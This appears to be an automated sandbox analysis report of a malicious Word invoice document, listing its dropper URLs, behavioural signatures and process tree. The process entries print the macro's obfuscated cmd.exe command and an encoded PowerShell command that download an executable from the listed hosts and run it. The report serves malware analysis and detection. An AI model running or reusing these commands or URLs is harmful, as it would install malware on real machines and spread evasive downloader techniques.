Analysis

  • max time kernel
    139s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    28/01/2021, 07:06

General

  • Target
    Billing Invoice - Job # 4712264.doc
  • Size 86KB
  • Sample210128-vtm648fcfn
  • SHA256 1f33a3b176c7062a63b392a64c21e5c05bcd0c920a363bbcde4a1a0bc9ad2b8d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://alpharockgroup.com/HT

  • exe.dropper

    http://adminflex.dk/l5TF6w

  • exe.dropper

    http://gailong.net/X5AyWfJG

  • exe.dropper

    http://shunji.org/logsite/TJaaB

  • exe.dropper

    http://binar48.ru/OtTlVIU5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Billing Invoice - Job # 4712264.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:880
    • C:\Windows\SYSTEM32\Cmd.exe
      Cmd /V^:^oN /r "^Se^T ^ ^ ^J^e^4=^A^AC^AgA^AI^A^AC^A^gAA^IA^ACA^g^AA^IAACA^g^AA^I^A^ACA^gA^A^I^A^AC^A^gAQ^fA0^H^A^7BA^aA^M^GA0BQ^YA^M^G^A9^BwOAs^GAhBQZAI^HAiB^w^OAs^EA^u^B^wdA^QC^A^gA^Q^b^AU^G^A^0^B^Q^S^A0C^AlBwa^A8G^A2Bg^bAk^EA^7^A^Q^K^A^sEA^u^B^wdA^QCAgAA^LA^sE^AL^B^g^S^A^QCAo^AQZA^wGApBgRA^QGA^hBwbA^w^G^AuB^w^d^A^8^G^A^E^B^gLA^E^FA^UBgeAQC^A7B^Q^e^A^I^HA0^B^w^e^A^kC^Ar^BgeAg^F^Ak^A^A^IA4GA^pB^A^IA^sEALB^g^SA^QCAoA^AaAMG^A^hBQZAI^HAvBg^Z^A^s^DAnAQZAg^H^Al^Bg^LAcCArAge^AcFAZ^B^AJAsCAn^AAXAcCAr^A^w^Y^A^kGAsB^gYA^U^HA^wB^gOAYH^Au^B^Q^ZAQC^A9Aw^S^A^4^GA3^B^AJ^A^s^DAnA^gM^Ak^DA^2A^wJ^AACA9A^A^IA^oHA^X^B^QW^AQCA7AQKAcC^A^ABwJ^A^gC^A0BQa^A^wG^A^wB^w^UA4CAn^A^QN^AU^F^AJBgV^A^wG^AUB^AdA8^EAv^A^Q^dA^IHA^u^A^AO^A^Q^D^A^yBQY^A4^G^A^p^BgYA^8C^Av^Ag^OA^AH^A^0B^A^d^A^gG^A^A^B^gQ^A^EG^AhBg^SA^QFAv^A^QZ^AQH^ApB^wc^Ac^G^AvB^AbA^8C^An^B^gcA8GA^uA^QaA^oG^AuB^QdA^gGA^zB^wLA8CA^6^A^AcA^Q^H^A0^B^Aa^AA^EA^H^B^g^SAYGA^X^BQe^AE^EA^1^A^AWA8CA0^B^QZ^A^4GA^uAw^Z^A^4^GAvB^A^b^Ak^GA^h^B^wZ^A8CAvA^gO^AA^H^A^0^BAd^Ag^GAAB^w^dAYD^AG^B^AVA^UD^A^s^BwL^A^s^G^AkBgLA^g^HAl^BAb^AYG^A^u^BQ^a^A0GAk^BQ^YA^8C^Av^AgO^A^AH^A^0B^AdA^g^G^A^ABAV^Ag^E^AvA^QbA8G^AjBg^LA^A^HA^1BwbA^IHAnBwaAMGAvB^gc^A^EGAo^BAcAw^GAh^BwLA8C^A6^A^Ac^A^QH^A^0B^A^a^AcC^A^9^Awa^A^oH^A^Y^B^A^JA^s^DA^0B^gbA^U^G^Ap^BA^bA^M^E^A^iB^Q^Z^AcFA^uA^AdA^UG^A^O^BA^IA^Q^HAjB^Q^Z^Ao^G^A^iB^wb^A^0CA^3B^QZA^4GA^9AQ^UA^QF^A6B^A^J^ ^e^-^ ^l^l^e^hsr^e^wo^p& ^foR /^L %^B ^IN ( ^ 9^25^ ^ ^-^1 ^ ^0) D^O s^E^t ^OQR^J=!^OQR^J!!^J^e^4:~ %^B, 1!&& I^f %^B ^LEQ ^0 Ca^L^l %^OQR^J:^*OQRJ^!^=% "
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e JAB6AFQAUQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABYAHoAawA9ACcAaAB0AHQAcAA6AC8ALwBhAGwAcABoAGEAcgBvAGMAawBnAHIAbwB1AHAALgBjAG8AbQAvAEgAVABAAGgAdAB0AHAAOgAvAC8AYQBkAG0AaQBuAGYAbABlAHgALgBkAGsALwBsADUAVABGADYAdwBAAGgAdAB0AHAAOgAvAC8AZwBhAGkAbABvAG4AZwAuAG4AZQB0AC8AWAA1AEEAeQBXAGYASgBHAEAAaAB0AHQAcAA6AC8ALwBzAGgAdQBuAGoAaQAuAG8AcgBnAC8AbABvAGcAcwBpAHQAZQAvAFQASgBhAGEAQgBAAGgAdAB0AHAAOgAvAC8AYgBpAG4AYQByADQAOAAuAHIAdQAvAE8AdABUAGwAVgBJAFUANQAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAWQBXAHoAIAA9ACAAJwA2ADkAMgAnADsAJAB3AG4ASwA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABZAFcAegArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQASgBLAEsAIABpAG4AIAAkAFgAegBrACkAewB0AHIAeQB7ACQAegBUAFEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQASgBLAEsALAAgACQAdwBuAEsAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQAdwBuAEsAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4036

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/880-2-0x00007FF920240000-0x00007FF920250000-memory.dmp

        memory/880-3-0x00007FF920240000-0x00007FF920250000-memory.dmp

        memory/880-4-0x00007FF920240000-0x00007FF920250000-memory.dmp

        memory/880-5-0x00007FF920240000-0x00007FF920250000-memory.dmp

        memory/880-6-0x000002173BEB0000-0x000002173C4E7000-memory.dmp

        memory/4036-9-0x00007FF93BB40000-0x00007FF93C52C000-memory.dmp

        memory/4036-11-0x000001D918610000-0x000001D918611000-memory.dmp

        memory/4036-10-0x000001D918660000-0x000001D918662000-memory.dmp

        memory/4036-12-0x000001D918663000-0x000001D918665000-memory.dmp

        memory/4036-13-0x000001D930870000-0x000001D930871000-memory.dmp

        memory/4036-14-0x000001D918666000-0x000001D918668000-memory.dmp